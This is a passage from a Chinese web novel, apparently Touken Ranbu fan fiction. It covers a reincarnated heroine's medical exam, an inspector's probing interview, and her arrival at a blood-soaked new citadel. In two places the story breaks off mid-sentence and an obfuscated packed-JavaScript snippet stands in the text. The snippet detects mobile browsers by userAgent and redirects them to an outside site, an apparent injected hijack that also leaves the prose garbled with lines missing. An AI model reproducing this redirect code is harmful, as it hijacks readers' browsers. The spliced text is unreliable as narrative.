“还有科研部,也是花钱大户啦。他们和后勤不对付就算了,和战斗部也老吵架。这三个部门的爱恨纠葛可以写成一本书咧。上次我在食堂看见有两人饭也不吃就吵了起来,走过去一听,一个说上次任务失败是因为配置的战斗设备有问题,一个说放屁,分明就是你们战斗部人不行。天哪,你不知道,这两个公认脾气最怪的部门凑到一起有多好玩。”
这是什么未来科技版燃冬,恨比爱更长久,祝福他们永远纠缠。辉月在心底为自己看热闹不嫌事大的想法小敲木鱼。
脸圆圆的,看上去十五六岁左右的少年,眼睛咕噜转着揭隔壁部门同事的底,直把辉月逗得想笑。从作为辉月拥有新的生命开始,她的面前要不是科技感十足但与生前时代及其割裂的技术,要不便是浸没在沉重气氛里,需要她去拯救的付丧神。此刻,听着这些没头没脑的小趣闻,看安武灰时不时家长一样提点一下溯阳,而溯阳酌情决定回嘴还是认了,她竟感到久违的心静。
这属于生活的最普普通通的碎片,让她有一种失足落水扑腾许久终于从河道里爬出来,双脚落于平整大地的踏实感,仿佛自己回到了平凡普通的人世间。
她这边感觉良好,甚至有种人间的阳光终于穿过缝隙落在他身上。那边安武灰又因为溯阳的话皱起了眉,“在时政主楼里光明正大说这些,小心说者无意听者有心。”
他虽皱眉,表情却并不严肃,只读出犹疑没看出严厉,于是溯阳毫不担心反而抱怨起来,“你也太谨慎了吧,才不会有人在意呢。”
两人又就此事掰扯了几个来回,辉月就在后面看着,默默跟着两人继续沿着走廊往里走。
现在应当正是工作时间,进来的路上只在一楼大厅看见两三个行色匆匆的人,主楼里没什么声音,尤其是这一层。时不时规律响起的疑似机器发出的声响,更将氛围衬得安静。
轻松与安静拖慢了她的脚步,她侧头去看两边的房间,在路过某一间房门大开的办公室时,她看见窗外没有太阳作为来处的自然光悠闲地倾洒,自动窗帘在起风时自己分开,将误入的清风放了进来,扰乱了桌上一株永生花的思绪。
墙上挂着白大褂,这里看来是医生的办公室。
辉月大概知道来此的目的是什么了,确实需要检查一下,她也对自己新的身体十分好奇。
“快点呀,快来。”溯阳一边双手作喇叭状一幅呐喊的架势,一边又因为所在的场所不得不压低了声音。
被这一声唤回神来,她快走两步跟上了他们。
18.医疗检测
检测室里早已有医生等在那,是个戴着眼镜的温柔女人,栗色短发及肩,脸上有点点雀斑,为她增添了几分可爱。注意到她工作服上的工牌,辉月下意识瞟了一眼,医生叫“地丁”。
和溯阳一样,不像是她认识里的人名。果然是接洽各种位面、包罗万象的时政,名字都如此丰富自由。
另外两个人没有跟进来。安武灰安抚了一句,说只是个普通检查,便停在门外关上了门。
地丁第一次见她,却对她早有耳闻一般亲切地说,“来的比我想象得早啊。”
顺着地丁的指引,辉月在一台仪器上躺下,疑惑地“嗯?”了一声。
“辉月吗,以后我就是负责你的医生了。放松不要紧张,我们做个小检测。”
她的声音如外貌一般温柔,听着像是耳边下了一阵淅淅沥沥的春雨。辉月不由自主跟着她说的做。
在地丁说完“闭上眼睛”后,她的眼前灰了下来。人双眼看不见的时候,会不自觉地将注意力凝聚在其他感官上,她也如此。双手平放身侧,手掌下的触感平滑,似乎有什么东西将自己笼罩了起来,地丁的声音被削弱了几分。
“使用一下灵力。”
话语简短,指令清晰,现在她应当按这位地丁医生说的调动身体内残存的灵力,毕竟在医院自然是要听医生的话。然而,这件事她是有心无力了。
“我不会使用灵力。”
她闭眼平躺如实陈述。
咱们21世纪好青年本本分分一辈子,是不会这些乱力怪神相关的技能的。咱们只会熬夜看小说和不吃早饭。
也不是没想过、尝试过,尤其是A56明确说过,她体内还有作为审神者的灵力。在上个本丸时,看见刀剑们泡进手入池,血液将整个池子染红,她想用自己体内的灵力去帮助修复,却怎么也用不出来。只能感觉身体内有什么存在着,却怎么也找不到出口,怎么也无法让它动起来。
听到这话地丁愣了一下,但很快反应过来,语气中多出两分惊讶,“你原本是跨时空审神者啊。真没想到。没事了,可以起来了。”
没想到什么?这语气好像是见证植物人从病床上跳了起来,惊讶又赞叹,辉月不免奇怪,但不是问的时候。
从仪器上爬起身,她犹豫片刻,还是俯身抚平了刚刚动作间带出的衣上褶皱,捋顺了衣袖。她必须得承认,套上了三日月的壳子,她的名剑包袱就背上了,就算房间里只有地丁一个人。
在辉月紧急形象管理时,地丁在仪器的侧面操作面板处点击了几下,很快检测结果就从面板旁边的窄口出来了。那是一张薄板,表面有字流动,地丁在板上滑动手指,便能查看所有结果报告。
她似乎因为刚刚那句辉月未能理解的“没想到”对辉月产生了额外的兴趣,一边娴熟地查看结果,一边对辉月说,“作为计划内的对接医生,‘火种’计划重启我是知道的。因为签订契约的跨时空审神者更多,所以上面选择的跨时空审神者也相应更多,但灵力还是很重要的,缺少灵力使用经验到底是会面临更大的困难。你是这一批特殊调查员里第一个完成任务的,没想到真没用灵力啊。”
她的指尖将报告的内容滑回到上方,再确认了一遍身体状态为健康。身体无伤,又在不会使用灵力的情况下完成得这么快,她自然而然地以为辉月分到的第一份任务很简单。
于是她说,“这趟旅程很轻松吧,作为付丧神在本丸生活的感觉怎么样?”
轻松吗?应该说是恰恰相反吧。辉月不由得沉默了片刻,回想起在那座本丸里的经历。
“还……挺新奇的?违反了不能违反的怪谈一样的规则,还和几把刀一起冲进了天守阁,拿本体把看起来快吓疯的审神者敲晕了。”她手指一下一下点着下巴,就像是在计数在刚玩的密室逃脱里撞见了几个NPC,“感觉的话,很难说。大家都很热情算吗?有半夜来偷袭的,突然从背后窜出来抬人走的,还有躲在屋外面偷窥的,从来没有两天之内受到这么多关注,有点受宠若惊了。”
听到她说新奇,地丁还只以为是有了新的身体又换了个身份觉得很新奇,直到后面越听越不对劲。不是说第一场任务都是给新手熟悉流程的吗?一上来难度这么高?
看见地丁的脸色瞬间转变,面部肌肉僵硬,和蔼的笑都快维持不住,辉月表面不动声色,心里却涌上了被理解的喜意,恨不得和地丁握手。她就说这次任务难度有问题吧!打游戏还有新手期呢,出阵地图还有难度分阶呢,哪有一上来就上强度的。都到总部了,等会能见到A56吧,见面了一定要让他向上反馈,不给点补偿简直说不过去。
“和刀剑付丧神发生直接冲突了吗?你现在感觉怎么样,要不再单独做个伤势检查吧。”地丁慎重又飞快地看了遍结果报告,看过每一处正常数据后,不信邪地靠近辉月,试图用肉眼从她的神色、体态上看出什么。
“没有,没有冲突。我感觉挺好的。这次运气很好,那个本丸的刀剑们都是很好的刀,没有任何伤害他人的倾向。”
确定辉月的面色很健康,外表也没有什么损伤,地丁放下了心。但作为医生的责任心还是让她忍不住多嘴,“不止是付丧神,你们做潜入调查的,对审神者也要很小心。第一期‘火种’计划,我当时跟着老师接收过一个被潜入本丸的审神者碎刀的。那个时候计划还是初期尝试阶段,很多方面并不成熟。虽然第一时间派出稽查队前往现场抢回了寄存着灵魂的本体碎片,但那位调查人员的灵魂已经跟着本体一起碎裂了,在穿梭时空时不小心被时空的自然流动卷走了几小块灵魂,后来没能抢救回来……”
地丁停顿了一下,“啪”得将手上的报告扣在胸口,像是把泄露而出的经年之前的情感又塞了回去,“啊,我多说了,这些事本不该拿出来说的,毕竟签了严格的保密协议,不过你是现在新一期计划的参与者,想来也没关系……算了,你就当没听到吧。”
辉月想说些什么,还没开口她就已经调整好了状态,又变回了进来时看到的气质温和的医生,“我们来说说你的检查结果吧。”
“根据检测出来的数值,你的灵力是正常审神者的一半。你别听只有一半好像很少,但跟普通人类相比已经很多了,只要掌握方法就能正常使用。之后稽查第三小队应该就专门与你对接了,他们队长乌玫挺厉害的,差点就成为审神者了,你可以向她请教一下灵力的使用方法。”
乌玫吗?辉月回想初见那个女人的场景,她一手揣着兜,另一只手随意晃悠两下,便使唤着一个队员将辉月叫了过去,站姿看似歪歪扭扭却又带着难以忽视的力量感。从外貌到性格都充满了攻击性,说她厉害辉月是相信的,但差点成为审神者?
乌玫说的那句话又浮现在她耳畔,“我是不懂付丧神的。”
或许这就是她“差点”成为审神者的原因。
无论过去发生了什么,与辉月无关。收下地丁的提议,她礼貌道谢。
灵力使用技术可以学习,可以锻炼,可以依靠努力进阶,但灵力值该是多少就只能是多少,这让她有点担心,是否会影响治疗效果。
灵力对审神者至关重要,他们依靠灵力激活本丸,在独立的时空间创建属于自己的一方小世界;依靠灵力唤醒刀剑付丧神,使他们得以以人身显形,得以拔刀与时间溯行军对抗。而付丧神受伤之后,也需要审神者的灵力进行手入治疗。
很多人无法成为审神者就是卡在灵力不够充足这一关,无法将付丧神从刀剑中唤醒,或是无法为付丧神提供充足的治疗。
如今辉月与三日月宗近的神力融合,作为半个付丧神已经无法唤醒任何付丧神,但她并不在意,这对如今的她并不重要。重要的是治疗,她不想再亲眼看着刀剑们的血将修复池填满,却无能为力。她的灵力在死亡时已经逸散一部分,治疗效果自然大打折扣,但究竟还能做到哪一步,这需要专业人员的判定。
面对辉月的问题,地丁点了点头,说,“自然是比不上审神者的手入,甚至可以说就不是手入。”
她突然沉默,盯着报告面板眼神却未曾切实落下,手指在报告边缘敲击三下后才说,“作为医生,不建议你给其他付丧神进行治疗。我是想这么说的,但你应该不会听。以防你私下尝试弄伤自己,或许还是现在直接告诉你比较好。因为你和他们一样都是付丧神,所以你只能通过灵力将他们的伤减免部分后转移到你身上。这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714300|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么说了,总感觉之后我们见面的时长会大幅提升。”
如水的目光流动到辉月身上,其中蕴藏着浅浅的无奈,地丁就好像看见熟悉的剧情重演,对故事发展与结局谙熟于心,于是选择在做主线的路上做一个坦荡的NPC,对每一个自认为是主角的人直言不讳地告知所有信息。
是个很有故事的人。辉月如此判断。
“我是付丧神,我也有审神者的灵力,那我是不是能治疗自己。”辉月问。
“可以的。”果然地丁点头了,“如果治疗对象是你自己的话,可以根据消耗气力的多少自行决定治疗速度和程度。”
“我也有气力值啊。”
辉月叹气一般感叹道。
方便治疗自己当然是个好事,甚至可以通过治疗自己来治疗别的付丧神。但气力值是个很麻烦的设定。这东西在游戏里代表着刀剑们的心情,安排任务越多,心情越差,战场上能发挥的实力就越差;相反心情好,好到樱吹雪,身上往外冒花,实力就能大幅提升。
这意味着,辉月需要控制自己的劳累程度,不能过于疲劳,否则气力值太低,平地摔一跤都可能轻伤。
敲板的声音响起,将辉月的注意力吸引过来后,地丁认真地说,“所以,每次任务结束都要来做检查,以防下次任务状态不好。气力值太低的话,我们可以也给你提供放松服务。这次是第一次任务,加上时间比较短,气力值消耗不多,倒是没什么影响。”
检测完毕,她将辉月带出检测室,安排到旁边与之相贴的房间,请辉月坐下。而她在辉月对面,将检测报告面板设置到自动记录模式后,摆出了谈心的姿态。
“身体觉得怎么样?”
房间温度适宜,座位柔软贴身,地丁医生气质柔和,态度严谨,短暂接触下来,给辉月留下一个专业医生的印象,不知不觉让她放松下来,整个背部靠在了座位的靠背上。
“还是有点不适应,身体素质是上来了,但我还是不会用刀。”
闻言地丁朝她露出一个早已习惯的笑容,似乎在说这很正常,大家都一样,“没有关系的,用刀的本能是刻在付丧神的身体里的,不会用刀是因为你没用过刀,没有激发身体里潜在的本能。你的身体素质已经达到付丧神的基础水准,大概三十级普刀的水平,不用担心,随着融合继续深入,加上日积月累的经验,会逐步提升的。身体素质和你的刀技都是这样。”
辉月闻言彻底放心了,还升起了打趣的闲心,“也就是说,我可以给自己练级?”
地丁被这个准确而风趣的形容逗笑了,“是啊,可以的。”
两人又简单聊了几句,确定没有任何问题后,地丁起身准备将她送出门。
在出门而去的那一刻,辉月无意间看见了放在房间角落的镜子,是一面放在这个时空十分古典的镜子,和辉月曾经在家具城见过的梳妆镜很像。椭圆的镜面镶嵌在奶白色的镜框里,可以翻转,往下纤细的圆柱立在圆而宽的扁平底面上。医疗室里出于干净安全的考虑不能开窗,为了模拟房间里自然舒适的感觉,房间的墙壁在自动缓慢而吹风,微风将原本盖在镜子上的布吹到了桌面上。
于是在那圆镜里,辉月看到了自己,那张全然陌生的面孔。
长发是深海一般的深蓝色,脸侧的一缕还缠绕着乱藤四郎的发绳。或许是受限于她的年龄,面容比真正的三日月宗近看起来更稚嫩一些,也更柔和一些。身上的衣服也发生了变化,大体相同的情况下,稍加与她性别更符合的修改。
望着镜子里的“辉月”,她停下了脚步,轻轻扑簌眼眸,那藏在眸中的月色便隐现一次。
真的就是性转的三日月宗近啊。她全然没有赞叹技术与容貌的心思,只从喉咙口涌上一股想叹息的冲动。
娴静,优雅,美丽,唯独不是她自己。
在这一刻,她感觉一些东西彻底从她灵魂中抽离,消散。那叫过去。
与此同时,一些决心更加坚定——要作为廖星,回到她的本丸。
“怎么了,还有什么问题吗?”医疗室的门已经打开,地丁手抵着门站在门边回头问她。
她笑了笑,摇了摇头,走出了医疗室。
19.一次试探
进去的时候,门外是溯阳和安武灰两个人,等辉月检测出来,两人身旁突然凭空又长出了两个人。
一个是她见过一面的A56,依然是那身时政制服,在看到她的一瞬间迸发出又激动又命苦的情绪,脸都随之扭曲成泡水里泡发的饼。
这复杂而混乱的表情让辉月一下回忆起了不久前拔耳钉还有冲上天守阁的事,对视后讪讪一笑,她便挪开了眼睛。这些行径她当然不会后悔,但在当事人面前还是不要这么表现好。
另一个人和溯阳、安武灰站在一起,是张全新的生面孔。
或许是因为辉月是A56调任后接手的第一位特殊调查员,激发了他对工作所有的热情和责任感,在辉月出门第一秒,他就莽撞地冲过来询问状况。
这不可细说的既视感啊。有一瞬间,辉月以为自己回到了前世的医院。刚刚做完体检被医生嘱托完,出门就被等在外面的妈妈从头问到脚。
然而眼前的人只是个颇有些死板的愣头青,她就这么幻想着不着五六的画面,大抵还是有些想家了吧。
她抬手掩唇掩去了尴尬,就像生前每一次对妈妈说的那样回答,“没什么,都挺好的。”
那唯一一个她不认识的女孩,个子不高看起来年级也小,却出乎意料地敏锐,注意到了她脸色不对,询问道,“是哪里出了问题吗?不用担心,我们这里医疗的技术治感冒,不一定好使,但越是难题越是容易解决。”
小巧可爱的女孩穿着类似洛丽塔的漂亮小洋裙,马尾精心烫卷成了螺旋状,很二次元的发型,但却莫名适合她,将她本就可爱的脸庞衬托得格外精致。
她个子不高,在三个男性身边直接凹了下去,但一点也不输气势,大方地立在那里任凭辉月打量,甚至迎着辉月的目光优雅地微笑,像是个正在接受采访的大小姐。
辉月没有回答,随便扯了几句话糊弄了过去。
安武灰不亏是人群里看起来最靠谱的那个,在辉月开口询问之前,率先为她介绍。辉月这才知道原来这可爱的小姑娘是稽查部第三小队的副队,玉玲。前几天家族里有点事情回去处理了,没有参加第三小队这一次的行动,此刻刚刚赶回来。
这倒是让辉月有些惊讶了,娇俏可爱的女生完全是一幅误入此处的大小姐模样,说是来视察都没问题,唯独看不出来位及副队,跟他们队长乌玫的风格也相差盛大。而且,现在时政内部也招未成人了吗?
似乎从辉月的表情里读出了什么,安武灰立刻解释道,“我们副队早就成年了,是,咳,童心未泯,天生丽质。”
“嗯嗯,天生丽质。”玉玲轻轻点头,毫无羞涩地将别人对她的赞美搬过来自己再说一遍。
身体检测没有问题,一切状况良好,兼之队伍副队就在这,在和副队汇报过任务进程后,稽查队的两名队员似乎也没什么理由继续留在这趁机摸鱼。
和辉月打了个招呼,他们将这里的一切交给了玉玲再次返回目标本丸,配合队长的收尾工作。
几人熟练交接,顺畅自如,没有半点临时碰到的生涩,让辉月不免嗅到淡淡的预谋味道。
她试探道,“听乌玫队长说起过你,他们那边执行任务,玉玲副队不需要去吗?我这边有a56就不用麻烦了吧?”
只听玉玲呵呵一笑,笑声也如少女一般清脆,然而说出口的话,揭露了她与外表不同的真实一面。
“怎么会呢,我在这里也是工作啊。”
说这句话的时候,她直视着辉月,目光没有一点偏移,就好像是在特意暗示什么。
不,她就是在特意暗示,她是留在这监视她、或者说审查她的。跟着辉月就是她的工作。
看来时政还不放心她啊,或许是人品,或许是能力,新手任务完成后还有审核。不过她没什么好担心的,她全身上下里里外外都经得起审核。
她更好奇的是,为什么玉玲如此坦荡地向她暗示她在此处的意义。感觉不是个简单的人啊。
“看来要麻烦你了啊。”她歪头浅笑,对玉玲说。
可爱的女孩也跟着笑起来,“不会哦,如果是你的话,我觉得不会麻烦了。”
两人你一句我一句对着笑,像两只狐狸狭路相逢对上了眼,听在A56耳朵里简直像在打哑迷。他抬手摸摸却发现根本摸不着头脑,只好将流程拽出来推动一下。
趁热打铁,是时候准备下一次任务了!
在A56的招呼下,三人乘坐电梯往下,进入稽查部区域的一处会议室。
分别落座后,A56紧绷身体,以置之死地而后生的气势光速道歉,“这次新手任务顺利完成首先我很抱歉是我初期删查的失误让您第一次就去了那么危险的地方!但您的表现太好了完全出乎意料我相信接下来的任务您都没有问题。”
一连串炮仗似的说下来,引得副队不住侧目,狐疑又惊奇,身上的可爱气质都淡去了几分,“他一直这样吗?”
辉月反问,“稽查部会招实习生吗?”
似乎觉得这个问题有些奇怪,副队不明地眨了眨眼睛,“我们不招实习生,成员都是各队长副队亲自下场捞的。”
辉月真诚说道,“那你多看两眼吧,等他工作久了就看不到这么生动的演出了。”
玉玲恍然大悟地睁大了眼睛,在某一瞬间神奇地对上了辉月的脑回路,于是真的托着下巴,欣赏起A56憋得通红的脸。
“咳咳,”接收到两处不同方向但相同玩味的目光,A56有种被当茶杯犬养了的错觉,他做作地咳嗽两声,僵硬地将偏移的重点从自己身上拽下来,“我已经将记录下来的关于失格审神者的罪证提交,接下来等失格审神者被俘获至总部,就会由稽查部下专门部门进行审判了。
不过我有一个问题……”
A56悄悄瞟了眼副队,似乎从那里获取了一些信心,将胸膛默默挺起,对辉月道,“您上天守阁之后,为什么没有对失格审神者动手呢?”
如同在参加午后茶话会的少女静静坐在那里,没有给A56一点反应,但辉月还是从那短短一瞟中察觉到了两人之间不对劲的地方。她没有回答而是先看向了玉玲,接收到一个铃兰般无害的笑容后,她彻底确定,玉玲会坐在这正是因为她上个任务提刀冲上天守阁,引起了时政注意。
真是的,不就是冲进天守阁把那人敲晕了吗,都收敛着没动刀子呢。
辉月将耳畔的碎发撩至耳后,平静地微笑着说,“不杀她不是因为我觉得她对,也不是因为可怜她,只是我不想成为一个对死亡习以为常的人。如果我这次杀了她,以后遇到相似的情境的呢,看到一个比我弱小的人倒在我面前,只要挥刀就仿佛可以解决一切问题,有过经验的人一定会做出判断,这是个可以动手的时机,然后就这样挥刀。呵,杀了一个人,我就会杀更多的人。”
她轻轻一笑,宛如风吹银铃奏了一首轻松的小曲,“我只是不想这样而已。更何况,她的罪孽会有律法来审判,我也不想将自己的意志凌驾与律法之上。”
五分真心,五分遮掩。她说得都是实话,但也不止于此。
杀人说起来容易,也只是说起来。人死了之后呢,除了消磨掉内心的怒意是否还带来了其他后果。时政会注意她、警惕她,绝不会只是像现在这样让一个稽查部副队长旁听来检测自己,那么轻松。更何况她是凭空出现的第三方,她到底不是那些伤痕累累的刀剑付丧神,她以什么名义、以什么身份去替那些付丧神了结他们曾经的主人?
如果他们有这个想法,如果时政的审判真的荒唐,她倒是有些可以实施的计划,保证万无一失。
一番话说得滴水不漏,配合她平静如湖水的语气,温和优雅如月色的声音,瞬间将A56说服。他心里已经毫无疑问,但最后真正做出判断的是那位巫女世家的大小姐。玉玲,出身于传承百年的巫女世家,祖上曾亲身侍奉过神明。凭借源自家族的对神明的了解和自身的通透聪慧,她会对辉月的危险性做出评判。
“律法啊。”那位长着极端迷惑人的面容的副队长,娇俏地用指尖点了点自己圆润的面颊,好似真的单纯好奇般向辉月俯身问道,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726667|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你相信律法吗?”
辉月答,“我相信爱和正义。”
玉玲笑了起来,桃红色的美甲在会议室的灯光下反着光,“好中二,但是我喜欢。”
于是A56松了口气,看来危险性判定通过了。正在他偷偷在桌子底下握拳庆贺时,两道目光又一次都聚焦在了他身上,他被吓了一跳,腿下意识抬起狠狠撞在了桌子上,发出一声巨响,炸得另外两人都笑了起来。
“这位调查员大人刚刚在问你问题呢?”玉玲企图用美甲遮住自己扬起的嘴角,却更加显眼了。
“啊?啊,对不起对不起。”
“我想问的是,我以后还有机会再见到那个本丸的刀剑男士们吗?”辉月说。
她和今剑约定了要一起看日出,虽然在当时那只是个将他从身边哄走的借口,但虚假的约定也可以成真,她还是想有机会找到他完成未完成的事。还有分开时正处于危险状态的一期一振和和泉守兼定,如果不看到他们痊愈的样子总会觉得不安心。
理论上这是不可以的。在接回时政接受治疗后,他们一般都会被分配去新的本丸,在新的主人那里继续生活,时政不支持审神者之间互相串门、来往过密,更不支持审神者和其他审神者的刀剑接触过多。
辉月的话……也算半个审神者,至于特殊调查员这一层身份的保密级别就更高了。
面对辉月的问题,他迟疑了。规矩就是规矩,按理来说他应该立刻拒绝她,但是不知道为什么,和辉月认识后,他的常识受到了冲击,人生之中突然多了很多意料之外的事情,带来了很多震惊和迟疑。现在他觉得看一看自己救回来的刀好像还挺合理的啊……
“嗯——”辉月上身后仰,双手抱胸,闭着眼睛发出叹息般的鼻音,整个人的气势突然变得不太一样了,“时政安排给我的新手任务难度似乎不怎么合理啊。”
A56立刻慌乱起来。
“连补偿也没有吗?”辉月又说。
轻飘飘一句话,重若千钧地砸在了A56头上,这个问题他一个小职员可做不了主,几乎下一秒他转头看玉玲。
辉月也一同看向玉玲副队。她当然也知道A56做不了什么主,一番话看似说给A56听,实则直指玉玲。
时政搞错了新手教程是时政的问题,没有让她吃亏的道理,所以,她的一点小要求难道不能答应吗?
“有什么不行的呢?”玉玲眨了眨眼睛,看得出来她也挺中二,明明可以轻松地眨两只眼睛,偏偏要在这并非舞台的会议室里只眨一只,“很多审神者都会带着刀剑们到万屋等公共场所见朋友。
我知道你在担心什么哦。审神者和付丧神私下无法解除契约,但时政这边可以,毕竟这项契约技术就是由时政这边提供的。解除契约之后,他们就和前主并无瓜葛。后勤部会帮助他们找到自己的归宿,放心吧,他们会有全新的未来的,我相信你有机会可以亲眼去见证。而我在后勤部呢,也姑且认识一些人。”
“那个……玉玲副队长,认识一些人什么的,就不说了吧。”A56僵硬地说,舌头和牙齿差点打架。
“哦对哦,我忘了这里有录音设施。”玉玲无辜地歪了歪头,有着完美弧度的马尾在空中划出自由的弧度。
这就是官n代吗?真自由啊,再聊一会就要把时政底透干净了。不过,还算爽快。辉月对她观感不错。
“副队真是女中豪杰。”辉月由衷感叹,“我有注意到稽查部的成员会佩刀。”
玉玲眼睛一眨便知道辉月要说什么,“是啊,我们都会佩刀。介于频繁进入本丸稽查,和审神者多有摩擦,我们的佩刀都是经过重重挑选的比较特殊的刀剑。有时会刻意挑选一些弑过主的刀剑,这样的刀剑戾气更大,如遇不可避免的武力冲突,更容易压制本丸里的刀剑付丧神。”
“看来你有推荐~”玉玲眯着眼睛笑。
“玉玲副队长,这个也不能说的……”为了防止大小姐再说出什么不能听的话,A56再次强行推进度。
“我们来宣布下一次任务吧!”
20.血色沉默1
灵魂被塞进刀剑里的感觉十分奇妙,有些类似于她死后被时政招魂时的感受,没有了人类概念中的身体也就在没有了依托的同时没有了束缚,飘飘忽如天上的云如水面的雾。但因为有本体作为容器,这种飘然只让她觉得玄乎,而没有无所依的惶恐。
有一瞬间,她感觉自己真的成为了一把刀,由钢铁铸成,在火焰中创生,怀揣着饮血的渴望,收敛着锋芒,卧于刀架之上。等待着一个人用惊喜的目光将她注视,用满意的心将她唤醒,握着她与搏杀仇敌,佩戴她斩获功名。
在她心绪激荡,以至于要发出金属的嗡鸣声时,一股灵力突然灌输进来,从头到脚,像是夏日跳进了游泳池,被水淹没的错觉伴随着由内而外的丰盈感冲刷着她的所有感官。下一瞬间,犹如坐在跳楼机上自由落体,一股力量将她从刀剑中拉扯出来。
如同月亮从海面上浮现,光华点亮波澜,在一阵伴着樱花飘散的微光中,辉月从刀中现身。
到底不是完全的刀剑付丧神,这拉扯感带来的冲击对她来说过于大了,她感到一阵眩晕。等迷迷糊糊说完了出总部前刚背的入手台词,她才缓过神来,缓缓睁开眼,锻刀室的内部陈设与一位戴着红围巾的少年映入眼帘。
还没来得及接收更多的信息,在看清少年模样的那一刹那,辉月心里便咯噔一下。
怎么跟上个任务一样,在本丸里穿出阵服却不穿内番服啊。
就像没人会在家还穿着工作场所的制服,刀剑们在本丸也有自己的内番服,相比出阵服更轻便舒适,方便完成本丸内的日常工作。
在本丸里穿出阵服,不会又是什么内斗剧本吧。
辉月顿觉十分不妙。
锻刀室内飘扬的一股奇怪味道更是加深了她的怀疑,淡淡的腥味上覆盖着浓郁的花香,底气刺鼻,而那花香像是一层欲盖弥彰的厚纱,层层堆叠,想要将腥味笼罩个彻底,却怎么也遮不住无声流露的危险气息。两种截然不同的气味盖在一起,变得奇怪且瞩目,这似乎并非它本意,但又的确让辉月无法忽视了。
视线从锻刀室深色的墙壁,转到墙角堆着的玉钢砥石,略过锻刀池旁的冷却池,最后落回面前的青年身上。好像就是从他身上传来的。
她在想什么对面的青年全然不知。发黑如墨,眼红宛若鸽血宝石,名为加州清光的付丧神站在辉月身前不远处,显然是那个将她“锻”出来的今日近侍。在辉月现身后他赞叹一般轻叹一声说道,“是三日月宗近啊,我们这里终于有欧刀了,主人大概会高兴吧。”
他顿了一下又低声嘀咕,“不过为什么是女性呢。”
从来没有见过的第二种性别,初始刀的培训里也没有这样的内容,清光惊奇地绕着辉月看了两圈,确定除了性别没有任何不对,连本体刀也和原本的如出一辙,他无奈地望向辉月试图寻求答案。
对于性别与一般付丧神不同的原因,辉月自然会守口如瓶,只是微笑着在适当的时候歪头,如此无辜,好像她也很意外这个结果。
她不说,没关系,优秀的初始刀兼近侍清光自会寻找原因。
或许是主人的灵力出现波动导致的,又或许是主人的心血来潮?虽然不知道是否能仅靠灵力做到这一步,但如果是他们的主人、在他们的本丸,发生什么都挺正常的。
于是他不再多想,对辉月说道,“嘛,我是加州清光,这座本丸的初始刀。走吧,我带你去见我们的主人。至于性别不对……看主人怎么说吧。”
直接就见审神者了吗?刚经历过上一次任务的辉月下意识地想,开局直通王点,这么刺激。不过按理来说,能轻松见到审神者这个本丸应该问题不大,说不定是她想多了,在本丸穿出阵服只是这里审神者的审美爱好。
问题不大,吧?
刚踏出锻刀室的门,辉月便被眼前的场景震撼到了。最基础规格的日式庭院里,到处都是血色,廊下木板、路边草叶、平整地面角角落落都有血迹,通红的一片像是雪白画纸被贪玩的孩子泼上一整桶颜料,红得本不晕血的辉月都要头晕眼花了。
跟这里相比上个本丸那地板缝里的一丝丝暗沉的红简直是一毛碰上了一百元大钞,算不了什么。
就在辉月被红色铺满了眼眶,脚下的路都要看不清时,一个又红又蓝的人从侧边跑了出来,丢下一连串笑声,追着一个妹妹头小孩去了另一侧的方向。太刀的视力经过血色洗礼已约等于无,完全没捕捉清楚两个身影分别是谁,那边的打刀加州清光已提着嗓子、架起初始刀的气势对着两个飞过去的身影喊起来,
“不要在廊上跑来跑去啊,笨蛋安定,你的血又把锻刀室门口的地面打湿了!信不信明天就安排你清洁当番。”
哦,原来刚刚那个过去的红里透蓝的人是大和守安定,原来刚刚恍惚间看见的跟着人飘过去的真的是飞扬的血滴。
这下辉月的胸腔里连咯噔的声音都没有了,耳钉那边的一对一观察员救救,她的心脏要停滞了。
“好了好了,我等会拖掉好了吧。”声音遥遥传来后,大和守安定本人才姗姗被加州清光的谴责拖拽回来。
“真的是,今天有新人来啊,姑且给人留下点好印象吧。”清光抱怨道。
“新人吗,不会在意的啦,这么有活力的本丸只会让人更加觉得亲切,对吧对吧。”眼前的大和守安定和上一个本丸遇到的完全不一样,语气活泼,表情灵动,充满活力的笑容在眼角泪痣的点缀下更显感染力。他从刚刚转过的长廊边又跑回来,羽织飞扬,向第一次见面的辉月争取支持。
在被到处都是的血色震撼后,辉月居然还能冷静下来判断,清光和安定这么自然地拌嘴,光这一点来看,这个本丸还是挺正常的,连她都佩服自己。
她当然不会在两个好朋友的日常斗嘴里掺一脚,假装平静地对大和守安定说,“你的身上好像在流血啊。”
闻言安定抖开因浸了血而变重的羽织,看了看身上未经包扎还露着肉的伤口,完全不在意地摆了摆手,“没事啦,小伤而已,大家都这样的。”
辉月不着痕迹地扭头去看加州清光,一细看果然在他身上也捕捉到了血色,只是因为已经干涸颜色变深,与他的黑衣融在了一起。原来刚刚闻到的淡淡的腥味是从这里传出来的,或许加州自己也闻得清楚,觉得满身血腥味不够可爱才喷了香水以做遮掩。
对于安定说的“大家都这样”,清光没有任何解释的意图,只是推着安定去手入室,叫他处理一下让血别流得到处都是了,却只字不提找审神者进行手入。
安定走后,加州清光无事发生一般面色自然地继续带着辉月前往天守阁。这般自然的面色不是在新人面前强装出来的,他们,这个本丸里的刀剑们,对于带伤行动、带伤玩闹都习以为常了。
“留着伤不会影响行动吗?”辉月问。
